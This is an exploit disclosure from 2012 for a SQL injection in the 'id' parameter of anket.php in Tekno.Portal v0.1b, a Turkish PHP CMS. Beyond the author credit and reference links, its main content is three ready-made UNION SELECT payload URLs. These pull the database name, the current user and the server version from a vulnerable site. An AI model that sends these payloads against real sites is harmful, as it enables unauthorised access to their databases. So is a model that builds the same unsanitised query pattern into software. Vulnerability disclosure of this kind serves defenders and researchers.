======================================================
               Tekno.Portal v0.1b - SQLi Vulnerability in "anket.php" 
               ======================================================


____________________________________________________________________________________


 # Exploit Title: Tekno.Portal v0.1b - SQLi Vulnerability in "anket.php" 

 # Date: [07-25-2012]

____________________________________________________________________________________


 # Author: Socket_0x03 (Alvaro J. Gene)

 # Email: 

  


  

    

    

    [Solo usuarios registrados pueden 
    ver los links. 
    REGISTRARSE]

  

  


 # Website: www.teraexe.com 

____________________________________________________________________________________

 # Software Link: http://sourceforge.net/projects/teknoportal

 # Vulnerable Application: Tekno.Portal

 # Version: 0.1b

 # Vulnerable File: anket.php (parameter id)

 # Language: This application is available only in turkish language.

 # Product Description: Tekno.Portal is a content management system (CMS) developed 
   in PHP; furthermore, a webmaster can use this application to manage files, store
   data, and more. 
   
____________________________________________________________________________________


 # SQL Injection: 
 
   http://www.website.com/teknoportal/anket.php?id=[SQLi]

 # Examples of SQLi: 

   http://www.website.com/teknoportal/anket.php?id=-1+union+select+1,2,3,database(),5
   http://www.website.com/teknoportal/anket.php?id=-1+union+select+1,2,3,user(),5
   http://www.website.com/teknoportal/anket.php?id=-1+union+select+1,2,3,@@version,5

 # More:
   www.securityfocus.com/bid/54698

____________________________________________________________________________________